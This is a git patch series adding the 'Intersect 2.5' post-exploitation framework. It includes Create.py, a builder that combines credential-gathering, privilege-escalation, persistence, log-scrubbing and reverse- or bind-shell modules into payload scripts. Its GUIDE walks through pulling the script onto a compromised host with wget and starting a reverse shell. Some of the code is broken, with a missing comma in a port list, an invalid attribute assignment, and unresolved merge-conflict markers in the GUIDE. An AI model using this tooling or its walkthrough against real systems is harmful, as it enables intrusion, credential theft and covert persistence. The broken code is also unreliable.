From ae5d1bfe38e36b70b604442b080bd7aba959973a Mon Sep 17 00:00:00 2001 From: Brock Date: Mon, 22 Dec 2014 11:35:36 +0800 Subject: [PATCH 1/6] changed --- Intersect-2.0/Intersect2-Beta.py | 2 ++ tcpscan2.py | 7 +++++-- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/Intersect-2.0/Intersect2-Beta.py b/Intersect-2.0/Intersect2-Beta.py index 794ae51..0b0f157 100755 --- a/Intersect-2.0/Intersect2-Beta.py +++ b/Intersect-2.0/Intersect2-Beta.py @@ -39,6 +39,8 @@ import getpass import pwd +conf = object() +conf.verb = 1 cut = lambda s: str(s).split("\0",1)[0] logging.getLogger("scapy.runtime").setLevel(logging.ERROR) diff --git a/tcpscan2.py b/tcpscan2.py index 72f1f05..4588f6d 100755 --- a/tcpscan2.py +++ b/tcpscan2.py @@ -11,11 +11,14 @@ import socket import getopt -def detect_port(host, port): +def detect_port(host, port, connect_only = False): s = socket.socket() s.settimeout(1) try: s.connect((host, port)) + if connect_only: + print port + return s.send('GET / HTTP/1.0\n\n') buf = s.recv(1024) print port, buf[:buf.find('\n')] @@ -26,7 +29,7 @@ def detect_port(host, port): s.close() -ports = (21, 22, 23, 25, 53, 69, 80, 110, 135, 137, 139, 445, 1025, +ports = (21, 22, 23, 25, 53, 69, 80, 110, 135, 137, 139, 445, 1025, 1080 1194, 1433, 1521, 3306, 3389, 5900, 8000, 8080) for port in ports: detect_port(sys.argv[1], port) From 4a3fbd6cc67708fcd6c90a4b56372a0f2ad49ef7 Mon Sep 17 00:00:00 2001 From: Brock Date: Mon, 22 Dec 2014 12:05:45 +0800 Subject: [PATCH 2/6] Intersect-2.5 --- Intersect-2.5/Create.py | 641 ++++++++++++++ Intersect-2.5/Docs/FAQ | 0 Intersect-2.5/Docs/GUIDE | 115 +++ Intersect-2.5/Docs/LICENSE | 31 + Intersect-2.5/Docs/README | 71 ++ Intersect-2.5/Docs/UPDATING | 25 + Intersect-2.5/Docs/WritingModules | 244 ++++++ Intersect-2.5/Junk/is_valid_ipv4.py | 36 + Intersect-2.5/Junk/validip.py | 19 + Intersect-2.5/Logs/ActivityLog | 0 Intersect-2.5/Logs/build_log | 0 Intersect-2.5/README | 43 + Intersect-2.5/Scripts/Samples/Gather.py | 571 +++++++++++++ Intersect-2.5/Scripts/Samples/Network.py | 494 +++++++++++ Intersect-2.5/Scripts/Samples/Persist.py | 677 +++++++++++++++ Intersect-2.5/Scripts/Samples/README | 17 + Intersect-2.5/Scripts/Samples/Shells.py | 808 ++++++++++++++++++ Intersect-2.5/Storage/readme | 5 + .../Standalone-Shells/AESHTTP/aes-server.py | 117 +++ .../EgressBuster/egress_listener.py | 71 ++ .../Standalone-Shells/ICMP/icmp-master.py | 0 .../Tools/Standalone-Shells/TCP/tcp-client.py | 85 ++ .../Standalone-Shells/TCP/tcp-listener.py | 94 ++ .../Tools/Standalone-Shells/UDP/udp-client.py | 51 ++ .../Tools/Standalone-Shells/XMLCrack/README | 18 + .../Standalone-Shells/XMLCrack/crack.cfg | 44 + .../Tools/Standalone-Shells/XMLCrack/crack.py | 233 +++++ .../Standalone-Shells/XMLCrack/crackserver.py | 61 ++ .../Standalone-Shells/XMPP/xmpp-listener.py | 0 .../Tools/Standalone-Shells/XOR/xor-client.py | 87 ++ .../Standalone-Shells/XOR/xor-listener.py | 108 +++ Intersect-2.5/Tools/md5crack.py | 66 ++ Intersect-2.5/Tools/tabnanny.py | 21 + .../src/Modules/local/Custom/aeshttp | 57 ++ .../src/Modules/local/Custom/egressbuster | 46 + .../src/Modules/local/Custom/getrepos | 42 + .../src/Modules/local/Custom/icmpshell | 2 + .../src/Modules/local/Custom/openshares | 35 + .../src/Modules/local/Custom/persistent | 82 ++ .../src/Modules/local/Custom/portscan | 22 + .../src/Modules/local/Custom/privesc | 96 +++ .../src/Modules/local/Custom/privesc~ | 96 +++ Intersect-2.5/src/Modules/local/Custom/sniff | 0 .../src/Modules/local/Custom/udpbind | 68 ++ .../src/Modules/local/Custom/webproxy | 18 + .../src/Modules/local/Custom/xmlcrack | 55 ++ Intersect-2.5/src/Modules/local/Custom/xmpp | 2 + .../src/Modules/local/Standard/archive | 16 + .../src/Modules/local/Standard/bshell | 114 +++ .../src/Modules/local/Standard/creds | 86 ++ .../src/Modules/local/Standard/daemon | 41 + .../src/Modules/local/Standard/extras | 56 ++ .../src/Modules/local/Standard/lanmap | 45 + .../src/Modules/local/Standard/network | 67 ++ .../src/Modules/local/Standard/osuser | 92 ++ .../src/Modules/local/Standard/reversexor | 110 +++ .../src/Modules/local/Standard/rshell | 88 ++ .../src/Modules/local/Standard/scrub | 69 ++ .../src/Modules/local/Standard/xorshell | 132 +++ .../src/Templates/local/stock-template | 256 ++++++ Intersect-2.5/src/Templates/remote/Server.py | 239 ++++++ 61 files changed, 6885 insertions(+) create mode 100755 Intersect-2.5/Create.py create mode 100644 Intersect-2.5/Docs/FAQ create mode 100644 Intersect-2.5/Docs/GUIDE create mode 100644 Intersect-2.5/Docs/LICENSE create mode 100644 Intersect-2.5/Docs/README create mode 100644 Intersect-2.5/Docs/UPDATING create mode 100644 Intersect-2.5/Docs/WritingModules create mode 100644 Intersect-2.5/Junk/is_valid_ipv4.py create mode 100644 Intersect-2.5/Junk/validip.py create mode 100644 Intersect-2.5/Logs/ActivityLog create mode 100644 Intersect-2.5/Logs/build_log create mode 100644 Intersect-2.5/README create mode 100644 Intersect-2.5/Scripts/Samples/Gather.py create mode 100644 Intersect-2.5/Scripts/Samples/Network.py create mode 100644 Intersect-2.5/Scripts/Samples/Persist.py create mode 100644 Intersect-2.5/Scripts/Samples/README create mode 100644 Intersect-2.5/Scripts/Samples/Shells.py create mode 100644 Intersect-2.5/Storage/readme create mode 100644 Intersect-2.5/Tools/Standalone-Shells/AESHTTP/aes-server.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/EgressBuster/egress_listener.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/ICMP/icmp-master.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-client.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-listener.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/UDP/udp-client.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/XMLCrack/README create mode 100644 Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.cfg create mode 100644 Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crackserver.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/XMPP/xmpp-listener.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/XOR/xor-client.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/XOR/xor-listener.py create mode 100644 Intersect-2.5/Tools/md5crack.py create mode 100644 Intersect-2.5/Tools/tabnanny.py create mode 100644 Intersect-2.5/src/Modules/local/Custom/aeshttp create mode 100644 Intersect-2.5/src/Modules/local/Custom/egressbuster create mode 100644 Intersect-2.5/src/Modules/local/Custom/getrepos create mode 100644 Intersect-2.5/src/Modules/local/Custom/icmpshell create mode 100644 Intersect-2.5/src/Modules/local/Custom/openshares create mode 100644 Intersect-2.5/src/Modules/local/Custom/persistent create mode 100644 Intersect-2.5/src/Modules/local/Custom/portscan create mode 100644 Intersect-2.5/src/Modules/local/Custom/privesc create mode 100644 Intersect-2.5/src/Modules/local/Custom/privesc~ create mode 100644 Intersect-2.5/src/Modules/local/Custom/sniff create mode 100644 Intersect-2.5/src/Modules/local/Custom/udpbind create mode 100644 Intersect-2.5/src/Modules/local/Custom/webproxy create mode 100644 Intersect-2.5/src/Modules/local/Custom/xmlcrack create mode 100644 Intersect-2.5/src/Modules/local/Custom/xmpp create mode 100644 Intersect-2.5/src/Modules/local/Standard/archive create mode 100644 Intersect-2.5/src/Modules/local/Standard/bshell create mode 100644 Intersect-2.5/src/Modules/local/Standard/creds create mode 100644 Intersect-2.5/src/Modules/local/Standard/daemon create mode 100644 Intersect-2.5/src/Modules/local/Standard/extras create mode 100644 Intersect-2.5/src/Modules/local/Standard/lanmap create mode 100644 Intersect-2.5/src/Modules/local/Standard/network create mode 100644 Intersect-2.5/src/Modules/local/Standard/osuser create mode 100644 Intersect-2.5/src/Modules/local/Standard/reversexor create mode 100644 Intersect-2.5/src/Modules/local/Standard/rshell create mode 100644 Intersect-2.5/src/Modules/local/Standard/scrub create mode 100644 Intersect-2.5/src/Modules/local/Standard/xorshell create mode 100644 Intersect-2.5/src/Templates/local/stock-template create mode 100755 Intersect-2.5/src/Templates/remote/Server.py diff --git a/Intersect-2.5/Create.py b/Intersect-2.5/Create.py new file mode 100755 index 0000000..765483a --- /dev/null +++ b/Intersect-2.5/Create.py @@ -0,0 +1,641 @@ +#!/usr/bin/python + +# Intersect2 Payload Generation Utility +# copyright 2012 - ohdae +# bindshell labs - http://bindshell.it.cx + +import sys, os, re +import shutil +import string, socket +import linecache +import random +import urllib, urllib2 +import datetime +import logging + + +global ModulesDir +global CustomDir +global PayloadTemplate +global currentloc +global tab_complete +global BuildLog +global now + + +tab_complete = True +try: + import readline +except ImportError: + print "[!] Python readline is not installed. Tab completion in the Create menu will be disabled." + tab_complete = False + +if tab_complete == True: + readline.parse_and_bind("tab: complete") + +currentloc = os.getcwd() +ModulesDir = (currentloc+"/src/Modules/local/Standard/") +CustomDir = (currentloc+"/src/Modules/local/Custom/") +PayloadTemplate = (currentloc+"/src/Templates/local/stock-template") +BuildLog = (currentloc+"/Logs/build_log") + +logging.basicConfig(filename=BuildLog, level=logging.INFO, format='%(asctime)s %(message)s') + + +def banner(): + + target = random.randrange(1,4) + + if target == 1: + print """ + ___ __ __ + | |.-----.| |_ .-----..----..-----..-----..----.| |_ + |. || || _|| -__|| _||__ --|| -__|| __|| _| + |. ||__|__||____||_____||__| |_____||_____||____||____| + |: | post-exploitation framework + |::.| + `---' +""" + + elif target == 2: + print """ + _______ __ __ + |_ _|.-----.| |_.-----.----.-----.-----.----.| |_ + _| |_ | || _| -__| _|__ --| -__| __|| _| + |_______||__|__||____|_____|__| |_____|_____|____||____| + Post-Exploitation Framework + bindshell.it.cx +""" + + elif target == 3: + print """ + ____ _ _ ____ ____ ____ ___ ____ ___ ____ + (_ _)( \( )(_ _)( ___)( _ \/ __)( ___)/ __)(_ _) + _)(_ ) ( )( )__) ) /\__ \ )__)( (__ )( + (____)(_)\_) (__) (____)(_)\_)(___/(____)\___) (__) + post-exploitation framework +""" + + elif target == 4: + print """ + _ _ _ + (_) | | | | + _ _ __ | |_ ___ _ __ ___ ___ ___| |_ + | | '_ \| __/ _ \ '__/ __|/ _ \/ __| __| + | | | | | || __/ | \__ \ __/ (__| |_ + __ |_|_| |_|\__\___|_| |___/\___|\___|\__| _ + / _| post-exploitation | | + | |_ _ __ __ _ _ __ ___ _____ _____ _ __| | __ + | _| '__/ _` | '_ ` _ \ / _ \ \ /\ / / _ \| '__| |/ / + | | | | | (_| | | | | | | __/\ V V / (_) | | | < + |_| |_| \__,_|_| |_| |_|\___| \_/\_/ \___/|_| |_|\_\ + + +""" + +class Completer: + def __init__(self): + standard = os.listdir(ModulesDir) + custom = os.listdir(CustomDir) + modcom = standard + custom + cmds = ["create", "help", "active", "rem", "modules", "quit", "info", "clear"] + if menu_option == "build": + self.words = cmds + modcom + self.prefix = ":" + + def complete(self, prefix, index): + if prefix != self.prefix: + self.matching_words = [w for w in self.words if w.startswith(prefix)] + self.prefix = prefix + else: + pass + try: + return self.matching_words[index] + return self.match_mods[index] + except IndexError: + return None + +class payloadgen(object): + def __init__(self): + self.header = " => " + self.warning = "[+] " + + def core(self): + print """ +Intersect 2.5 - Script Creation Utility +------------------------------------------ +1 => Create Custom Script +2 => List Available Modules +3 => Load Plugin Module +4 => Exit Creation Utility\n\n""" + while True: + choice = raw_input("%s " % (self.header)) + + if choice == '1': + global menu_option + menu_option = "build" + self.create() + + elif choice == '2': + print("\nIntersect 2.5 - Script Creation Utility") + print("------- List of Intersect Modules --------\n") + print("Standard Modules: ") + os.system("ls %s" % ModulesDir) + print("\nCustom Modules: ") + os.system("ls %s" % CustomDir) + print("-------------------------------------------") + print(" 1 => Return to main menu.") + choice = raw_input("%s " % (self.header)) + if choice == '1': + os.system("clear") + banner() + self.core() + else: + print("%sInvalid Selection!" % (self.warning)) + + elif choice == '3': + self.loadfunc() + + elif choice == '4': + print("Exiting. See ya later!") + sys.exit(0) + + else: + print("[!] Invalid menu option!") + self.core() + + def loadfunc(self): + print("\n----------- Load Plugin Modules ------------") + print("") + print(" Options:") + print("1 => Load module by filename") + print("2 => Download and import from URL") + print("3 => List currently loaded custom modules") + print("4 => Return to Main Menu") + + choice = raw_input("%s " % (self.header)) + + if choice == '1': + print("Enter the current location of your custom module: ") + modloc = raw_input("%s " % (self.header)) + + if os.path.exists(modloc) is True: + shutil.copy2(modloc, CustomDir) + logging.info("New Module '%s' imported." % modloc) + print("[+] Module successfully loaded into the custom modules directory!") + self.loadfunc() + + else: + print("[!] Custom module could not be loaded.") + logging.info("Module import failed for %s" % modloc) + + elif choice == '2': + print("Enter the URL where the file is location: ") + print("example: http://example.com/mymodule") + modloc = raw_input("%s " % (self.header)) + + filename = modloc.split('/')[-1] + + try: + urllib.urlretrieve(modloc, filename=CustomDir+filename) + except Exception, e: + print("\n[!] Error downloading %s: %s" % (modloc, e)) + self.loadfunc() + + if os.path.exists(CustomDir+filename) is True: + print("\n[+] Module successfully downloaded and imported!\n") + logging.info("%s downloaded and imported successfully." % modloc) + self.loadfunc() + else: + print("\n[!] Something went wrong! Download and import not completed!\n") + logging.info("[Error] Download and import of %s failed." % modloc) + self.loadfunc() + + elif choice == '3': + print("Currently available custom modules: ") + os.system("ls %s" % CustomDir) + self.loadfunc() + + elif choice == '4': + os.system("clear") + banner() + self.core() + + else: + print("[!] Invalid menu option!") + self.loadfunc() + + def create(self): + menu_option = "build" + os.system("clear") + print("\nIntersect 2.0 - Script Generation Utility") + print("---------- Create Custom Script -----------\n") + print(" Instructions: ") + print(""" +Use the console below to create your custom +Intersect script. Type the modules you wish +to add, pressing [enter] after each module. +Example: + => creds + => network + +When you have entered all your desired modules +into the queue, start the build process by typing :create. + +** To view a full list of all available commands type :help. +The command :quit will return you to the main menu.\n""") + + desired_modules = [] + logging.info("New Build Process Started.") + + while 1: + if tab_complete == True: + completer = Completer() + readline.set_completer(completer.complete) + + modulesInput = raw_input("%s " % (self.header)) + + if os.path.exists(ModulesDir+modulesInput) is True: + desired_modules.append(modulesInput) + logging.info(" %s added to queue" % modulesInput) + print ("%s added to queue.\n" % modulesInput) + + elif os.path.exists(CustomDir+modulesInput) is True: + desired_modules.append(modulesInput) + logging.info(" %s added to queue" % modulesInput) + print ("%s added to queue.\n" % modulesInput) + + elif modulesInput == ":modules": + os.system("ls %s" % ModulesDir) + os.system("ls %s" % CustomDir) + + elif modulesInput == ":create": + createcustom.chooseName() + payloadgen.globalconfig(desired_modules) + logging.info("Building new script with: %s" % desired_modules) + for mod in desired_modules: + print mod + createcustom.CombineFeatures(desired_modules) + + elif modulesInput.startswith(":info"): + getname = modulesInput.split(' ') + modname = getname[1] + + if os.path.exists(CustomDir+modname) is True: + info = open(CustomDir+modname) + for line in info: + if "@description" in line: + split = line.split(":") + des = split[1] + print("\nDescription: %s " % des) + if "@author" in line: + split = line.split(":") + author = split[1] + print("Author: %s " % author) + + elif os.path.exists(ModulesDir+modname) is True: + info = open(ModulesDir+modname) + for line in info: + if "@description" in line: + split = line.split(":") + des = split[1] + print("\nDescription: %s " % des) + if "@author" in line: + split = line.split(":") + author = split[1] + print("Author: %s " % author) + else: + print("No description given for %s module " % modname) + + + elif modulesInput.startswith(":rem"): + getname = modulesInput.split(' ') + modname = getname[1] + desired_modules.remove(modname) + logging.info("%s removed from queue." % modulesInput) + print("[+] Removed module %s from queue" % modname) + + elif modulesInput == ":active": + print("\nModules you have selected: ") + print desired_modules + + elif modulesInput == ":clear": + os.system("clear") + print("Intersect 2.5 - Script Creation Utility") + + elif modulesInput == ":help": + print("\n Available Commands:") + print(" :help => display this menu") + print(" :active => shows current module queue") + print(" :create => creates payload from selected list") + print(" :clear => clears the screen") + print(" :info module => show description of module") + print(" :modules => list of currently available modules") + print(" module => adds module to payload queue") + print(" :rem module => removes module from payload queue") + print(" :quit => return to the main menu") + + elif modulesInput == ":quit": + print("[+] Returning to the main menu....") + banner() + self.core() + + else: + print("[!] %s command or module does not seem to exist!\n" % modulesInput) + + def valid_ip(self,ip): + parts = ip.split('.') + return ( + len(parts) == 4 + and all(part.isdigit() for part in parts) + and all(0 <= int(part) <= 255 for part in parts) + ) + + def globalconfig(self, modules): + writeglobals = (currentloc+"/Junk/globals") + globalstemp = open(writeglobals, "a") + + globalstemp.write("\ndef globalvars():") + globalstemp.write("\n global PORT") + globalstemp.write("\n global RHOST") + globalstemp.write("\n global RPORT") + globalstemp.write("\n global PPORT") + globalstemp.write("\n global PKEY") + globalstemp.write("\n global socksize") + globalstemp.write("\n global shellPID") + globalstemp.write("\n global modList") + globalstemp.write("\n global Temp_Dir") + globalstemp.write("\n global Logging") + globalstemp.write("\n global ActivityLog") + + globalstemp.write("\n\n modList = %s" % modules) + globalstemp.write("\n socksize = 4092") + globalstemp.write("\n shellPID = []") + + print("\nSpecify the directory on the target system where the gathered files and information will be saved to.") + print("*Important* This should be a NEW directory. When exiting Intersect, this directory will be deleted if it contains no files.") + print("If you skip this option, the default (/tmp/lift+$randomstring) will be used.") + + tempdir = raw_input("temp directory %s " % (self.header)) + if tempdir == "": + globalstemp.write("\n Rand_Dir = ''.join(random.choice(string.letters) for i in xrange(12))") + globalstemp.write("\n Temp_Dir = '/tmp/lift-'+'%s' % Rand_Dir") + globalstemp.write("\n ActivityLog = Temp_Dir+'/ActivityLog'") + else: + globalstemp.write("\n Temp_Dir = '%s'" % tempdir) + globalstemp.write("\n ActivityLog = Temp_Dir+'/ActivityLog'") + + logopt = raw_input("enable logging %s " % (self.header)) + if logopt == "": + logging.info("Task logging = No") + globalstemp.write("\n Logging = 'no'") + elif logopt == "yes" or logopt.startswith("y"): + logging.info("Task logging ENABLED") + globalstemp.write("\n Logging = 'yes'") + else: + globalstemp.write("\n Logging = 'no'") + logging.info("Task logging DISABLED") + + + bport = raw_input("bind port %s " % (self.header)) + if bport == "": + globalstemp.write("\n PORT = 4444") + elif bport.isdigit() is True: + globalstemp.write("\n PORT = %s" % bport) + print("[+] bind port saved.") + else: + print("[!] invalid port!") + os.system("rm %s" % writeglobals) + self.globalconfig() + + rhost = raw_input("remote host %s " % (self.header)) + if rhost == "": + globalstemp.write("\n RHOST = ''") + elif self.valid_ip(rhost) is True: + globalstemp.write("\n RHOST = '%s'" % rhost) + print("[+] remote host saved.") + else: + print("[!] invalid ipv4 address!") + os.system("rm %s" % writeglobals) + self.globalconfig() + + rport = raw_input("remote port %s " % (self.header)) + if rport == "": + globalstemp.write("\n RPORT = 8888") + elif rport.isdigit() is True: + globalstemp.write("\n RPORT = %s" % rport) + print("[+] remote port saved.") + else: + print("[!] invalid port!") + os.system("rm %s" % writeglobals) + self.globalconfig() + + pport = raw_input("proxy port %s " % (self.header)) + if pport == "": + globalstemp.write("\n PPORT = 8080") + elif pport.isdigit() is True: + globalstemp.write("\n PPORT = %s" % pport) + print("[+] proxy port saved.") + else: + print("[!] invalid port!") + os.system("rm %s" % writeglobals) + self.globalconfig() + + pkey = raw_input("xor cipher key %s " % (self.header)) + if pkey == "": + globalstemp.write("\n PKEY = 'TESTME'") + else: + globalstemp.write("\n PKEY = '%s'\n\n" % pkey) + print("[+] xor key saved.") + + globalstemp.close() + + + +class createcustom: + def __init__(self): + self.header = " => " + + + def chooseName(self): + global newpayload + global script + + print("\n[ Set Options ]\nIf any of these options don't apply to you, press [enter] to skip.") + + if os.path.exists(PayloadTemplate) is True: + print("Enter a name for your Intersect script. The finished script will be placed in the Scripts directory. Do not include Python file extension.") + name = raw_input("%s " % (self.header)) + script = (currentloc+"/Scripts/%s.py" % name) + + if name == "": + script = (currentloc+"/Scripts/Intersect.py") + shutil.copy2(PayloadTemplate, script) + newpayload = open(script, "a") + logging.info("Script named: Intersect.py") + + else: + + if os.path.exists(script) is True: + print("[!] The filename you entered all ready exists. Enter a new filename") + logging.error("User selected invalid script name.") + self.chooseName() + else: + shutil.copy2(PayloadTemplate, script) + newpayload = open(script, "a") + print("Script will be saved as %s" % script) + logging.info("Script named: %s " % script) + + else: + print("[!] Payload template cannot be found!") + logging.error("Cannot find the base Intersect template.") + payloadgen.core() + + + def CombineFeatures(self, moduleList): + + + savedglobals = (currentloc+"/Junk/globals") + writeglobals = open(savedglobals, "r") + for lines in writeglobals.readlines(): + newpayload.write(lines) + writeglobals.close() + os.system("rm %s" % savedglobals) + + for item in moduleList: + if os.path.exists(ModulesDir+item) is True: + module = open(ModulesDir+item, "r") + + elif os.path.exists(CustomDir+item) is True: + module = open(CustomDir+item, "r") + + for lines in module.readlines(): + newpayload.write(lines) + module.close() + + newpayload.close() + + self.MakeUsage(moduleList) + self.MakeOptParse(moduleList) + os.system("chmod u+x %s" % script) + + print("\n[+] Your custom Intersect script has been created!") + print(" Location: %s" % script) + logging.info("Script saved to: %s \n" % script) + sys.exit(0) + + + def MakeUsage(self, moduleList): # Clean up this function + usage = (currentloc+"/Junk/usage") + descriptions = [] + + for module in moduleList: + if os.path.exists(ModulesDir+module) is True: + info = open(ModulesDir+module) + for line in info: + if "@short" in line: + split = line.split(":") + des = split[1] + des = des.rstrip("\n") + short = module[0] + descriptions.append(" -%s --%s %s" % (short, module, des)) + + + elif os.path.exists(CustomDir+module) is True: + info = open(CustomDir+module) + for line in info: + if "@short" in line: + split = line.split(":") + des = split[1] + des = des.rstrip("\n") + short = module[0] + descriptions.append(" -%s --%s %s" % (short, module, des)) + + else: + descriptions.append(" -%s --%s" % (short, module)) + + writeusage = open(usage, "a") + + writeusage.write("\n\ndef usage():") + writeusage.write("\n print('============================================')") + writeusage.write("\n print(' intersect 2.5 | custom version ')") + writeusage.write("\n print(' http://bindshell.it.cx | ohdae')") + writeusage.write("\n print(' Modules:')") + + for item in descriptions: + writeusage.write("\n print('%s')" % (str(item))) + + writeusage.close() + + newpayload = open(script, "a") + addusage = open(usage, "r") + + for lines in addusage.readlines(): + newpayload.write(lines) + + os.system("rm %s" % usage) + newpayload.close() + addusage.close() + + + def MakeOptParse(self, moduleList): + shortopts = [] + shorts = [] + + for item in moduleList: + modname = item[0] + shortopts.append(modname) + + moduleList.append("help") + shorts.append("h") + + shorts = [''.join(shortopts)] + + + newpayload = open(script, "a") + writeopts = (currentloc+"/Junk/writeopts") # give name to getopt temporary file # + newopts = open(writeopts, "a") # open temporary getopt file to append getopt functions into + + + newopts.write("\n\ndef main(argv):") + newopts.write("\n try:") + newopts.write("\n opts, args = getopt.getopt(sys.argv[1:], %s, %s)" % (str(shorts).strip('[]'), moduleList)) + newopts.write("\n except getopt.GetoptError, err:") + newopts.write("\n print str(err)") + newopts.write("\n Shutdown()") + newopts.write("\n for o, a in opts:") + newopts.write("\n if o in ('-h', '--help'):") + newopts.write("\n usage()") + newopts.write("\n Shutdown()") + newopts.write("\n sys.exit(2)") + + for opt, module in zip(shortopts, moduleList): + newopts.write("\n elif o in ('-%s', '--%s'):" % (opt, module)) + newopts.write("\n %s()" % module) + + newopts.write("\n else:") + newopts.write("\n assert False, 'unhandled option'") + newopts.write("\n Shutdown()\n") + newopts.write("\n\nglobalvars()") + newopts.write("\nenvironment()") + newopts.write('\nif __name__ == "__main__":') + newopts.write("\n if len(sys.argv) <=1:") + newopts.write("\n usage()") + newopts.write("\n main(sys.argv[1:])") + newopts.close() + + writeopt = open(writeopts, "r") + for lines in writeopt.readlines(): + newpayload.write(lines) + + os.system("rm %s" % writeopts) + + writeopt.close() + newpayload.close() + + +if __name__=='__main__': + banner() + payloadgen = payloadgen() + createcustom = createcustom() + payloadgen.core() diff --git a/Intersect-2.5/Docs/FAQ b/Intersect-2.5/Docs/FAQ new file mode 100644 index 0000000..e69de29 diff --git a/Intersect-2.5/Docs/GUIDE b/Intersect-2.5/Docs/GUIDE new file mode 100644 index 0000000..a96f897 --- /dev/null +++ b/Intersect-2.5/Docs/GUIDE @@ -0,0 +1,115 @@ +Intersect 2.5 - Documentation +How-To Guide + +Table Of Contents +* Create.py +* Building custom scripts +* Using your finished script + + + + [ Create.py Application ] + +The Create application is the core application within the Intersect 2.5 framework. +The main focus of Create is to help you in building customized Intersect scripts, but it can also be used for importing +new modules from a local file or webserver, viewing their descriptions or author information, check for updates to the +Intersect framework and some other creation-centric features. + +Create.py is a menu-driven script that guides you through the process of building your custom script. +When you start Create you will be brought to the Main Menu, where you can choose whether to build a new script, import +a new module or view a list of all currently available modules within the Custom and Standard directories. + +Within any menu of Create, you can type ':help' to be presented with a detailed list of commands for the specific menu +you are in. You can also type ':exit' or ':quit' at any menu to be brought back to the Main Menu or completely exit +the application, if you are all ready there. + +Main Menu: + 1 => Create Custom Script + 2 => List Available Modules + 3 => Load Plugin Module + 4 => Check for updates + 5 => Exit Creation Utility + + + + + [ Building Custom Scripts ] + +The entire purpose of Intersect 2.5 is to help you create custom post-exploitation scripts. This is done by using the +Create application and selecting option '1' from the Main Menu. + +After you select the first option from the Main Menu, you'll be presented with a quick tutorial on how the creation +process works and how to add modules to your script. +At any point during this process you can type ':help' for a full list of commands or type ':quit' to return to the main +menu. + +Enter the name of each module you wish to add to your script, pressing [enter] after each addition. +Once you've added everything you want included, type ':create' to start the build process. +You'll then be prompted to enter a name for your script and define some options for things like encryption keys and +ports. +The entries will checked to make sure your entries are valid. If you enter an invalid IP address or port, you will be +notified and asked to re-enter the correct information. + +After all the options are saved, your script will be built. +You'll be shown a list of all the modules that were built into the script and the location where the final product is +saved. + +[Example of :create command] + => :create + Enter a name for your Intersect script. The finished script will be placed in the Scripts directory. + Do not include Python file extension. + => TutorialTest + Script will be saved as /home/ohdae/Git/Intersect-2.5/Scripts/TutorialTest.py + + Configure Options: + If any of these options don't apply to you, press [enter] to ignore them. + bind port => 4444 + [+] bind port saved. + remote host => + [+] remote host saved. + remote port => + [+] remote port saved. + proxy port => + [+] proxy port saved. + xor cipher key => + [+] xor key saved. + bshell + extras + network + + [+] Your custom Intersect script has been created! + Location: /home/ohdae/Git/Intersect-2.5/Scripts/TutorialTest.py + + + + +<<<<<<< HEAD + [ Using your custom Intersect script ] +======= + [ Using your custom Intersect script ] +>>>>>>> 528f569ec22cc25259cbe6f12258205e2f68dbdf + +There is a large variety of ways you can use your Intersect script. The options are only limited by the modules you +choose for each script. + +The most straight-forward and common method of use is uploading or downloading the Intersect script onto a target system +and then running the post-exploitation automation tasks right from the command line. + +If you do not have direct shell access, you can still make full use of Intersect and run any of the includes modules +over any of the remote shells (TCP, XOR, ICMP, UDP, AES, etc). +This might occur in a situation where you only have command execution access on the target host, through a vulnerable +web application for example. +In that case, simply wget the Intersect script onto the target box and execute "./Intersect.py --rshell", for example, +to start an interactive reverse shell back to your listening box. Once you get a successfull connection, you can run any +of the included modules over the shell by using the 'extask' command. +For a full list of commands and help within any of the remote shells, type 'helpme'. + +<<<<<<< HEAD +======= +When you run most of the Intersect modules, the information and files that are gathered will be saved into a temporary +directory within /tmp. +The files and data will be separated into sub-folders so the information is easier to identify and locate. + +This section will be filled in with more details eventually. +>>>>>>> 528f569ec22cc25259cbe6f12258205e2f68dbdf + diff --git a/Intersect-2.5/Docs/LICENSE b/Intersect-2.5/Docs/LICENSE new file mode 100644 index 0000000..0fac951 --- /dev/null +++ b/Intersect-2.5/Docs/LICENSE @@ -0,0 +1,31 @@ +Copyright (c) 2012, Intersect 2.5 (Post-Exploitation Framework) +[author: bindshell@live.com] +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of the nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY +DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +Please take notice that Intersect 2.5 is provided as is, and is a royalty free open-source application. + +The end-user, you, is allowed to use, modify and/or change whatever you wish within this applications source-code, +provided that you give appropriate credit where credit is due and the above license and copyright information +is included. \ No newline at end of file diff --git a/Intersect-2.5/Docs/README b/Intersect-2.5/Docs/README new file mode 100644 index 0000000..9fe9357 --- /dev/null +++ b/Intersect-2.5/Docs/README @@ -0,0 +1,71 @@ +Intersect 2.5 - Post-Exploitation Framework + +author: ohdae +website: http://bindshell.it.cx + 